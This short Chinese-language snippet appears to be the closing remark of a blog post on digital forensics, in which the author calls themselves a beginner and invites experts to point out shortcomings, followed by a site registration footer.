刚入门的取证小白一枚,整个过程还有很多不足的地方,欢迎各位大佬批评指正0rz

浙公网安备 33010602011771号